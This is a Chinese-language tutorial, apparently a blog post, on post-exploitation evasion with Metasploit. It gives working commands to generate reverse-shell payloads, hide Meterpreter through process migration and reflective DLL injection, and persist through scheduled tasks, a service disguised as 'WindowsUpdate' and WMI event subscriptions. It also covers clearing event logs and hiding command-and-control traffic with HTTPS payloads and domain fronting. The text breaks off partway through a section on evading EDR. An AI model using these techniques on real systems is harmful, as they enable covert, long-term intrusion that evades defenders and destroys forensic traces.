目录
在成功利用MSFvenom生成免杀载荷并获取目标权限后,如何长期维持控制并规避高级检测(如EDR、流量审计)成为关键。本文聚焦后渗透阶段的免杀技术,涵盖进程隐藏、权限维持、流量伪装等实战策略。
一、核心逻辑:后期免杀的三大目标
-
隐蔽进程:避免恶意进程暴露在任务管理器或进程监控工具中。
-
持久化驻留:确保目标重启后仍能重新连接。
-
流量伪装:加密或混淆通信数据,绕过网络层检测。
二、进程隐藏与注入技术
-
进程迁移(Migration)
将Meterpreter会话迁移到系统可信进程(如explorer.exe
、svchost.exe
),隐藏活动痕迹。# 自动迁移到指定进程 set AutoRunScript migrate -n explorer.exe # 手动迁移(在meterpreter会话中) migrate <PID>
-
反射型DLL注入(Reflective DLL Injection)
直接将恶意代码注入内存执行,不落盘、无文件特征。# 生成反射型DLL msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f dll -o payload.dll # 注入目标进程 use post/windows/manage/reflective_dll_inject set DLL /path/to/payload.dll set PID <目标进程PID> run
-
傀儡进程(Process Hollowing)
创建合法进程的挂起实例,替换其内存为恶意代码。
工具推荐:使用Cobalt Strike
或自定义PE加载器实现。
三、持久化驻留方案
-
计划任务(Scheduled Task)
利用Windows计划任务定期触发Payload。# Meterpreter中创建计划任务 schtasks /create /tn "UpdateService" /tr "C:\Windows\Temp\payload.exe" /sc hourly /mo 1 # 清除痕迹 clearev
-
服务安装(Service Installation)
注册恶意程序为系统服务,实现开机自启。# 生成服务型Payload msfvenom -p windows/x64/meterpreter/reverse_tcp [...] -f exe-service -o svchost_backdoor.exe # 安装服务 sc create "WindowsUpdate" binPath= "C:\Windows\Temp\svchost_backdoor.exe" start= auto sc start "WindowsUpdate"
-
WMI事件订阅
通过WMI事件(如用户登录、系统启动)触发Payload。# 创建WMI事件过滤器与消费者 $filter = Set-WmiInstance -Class __EventFilter -Arguments @{EventNamespace='root\cimv2'; QueryLanguage='WQL'; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"} $consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments @{Name='SysMonitor'; CommandLineTemplate='cmd.exe /c "C:\Windows\Temp\payload.exe"'} Set-WmiInstance -Class __FilterToConsumerBinding -Arguments @{Filter=$filter; Consumer=$consumer}
四、流量伪装与加密
-
协议伪装
使用reverse_https
或reverse_winhttp
协议,模拟浏览器或系统更新流量。msfvenom -p windows/x64/meterpreter/reverse_https LHOST=IP LPORT=443 [...] -o https_payload.exe # 监听时配置SSL证书 set HandlerSSLCert /path/to/cert.pem set StagerVerifySSLCert true
-
域前置(Domain Fronting)
利用CDN域名(如Cloudflare)隐藏真实C2服务器。set HttpHostHeader cdn.example.com set HttpReferer https://www.google.com/
-
流量加密
在Meterpreter会话中启用SSL/TLS加密通信:# 生成SSL证书 openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -keyout key.pem -out cert.pem # 监听时加载证书 set SSL true set SSLCert /path/to/cert.pem set SSLVerifyMode NONE
五、对抗EDR与行为检测
-
内存规避(Memory Evasion)
使用in-memory
执行技术,避免敏感API调用(如VirtualAlloc
、CreateThread
)。
*工具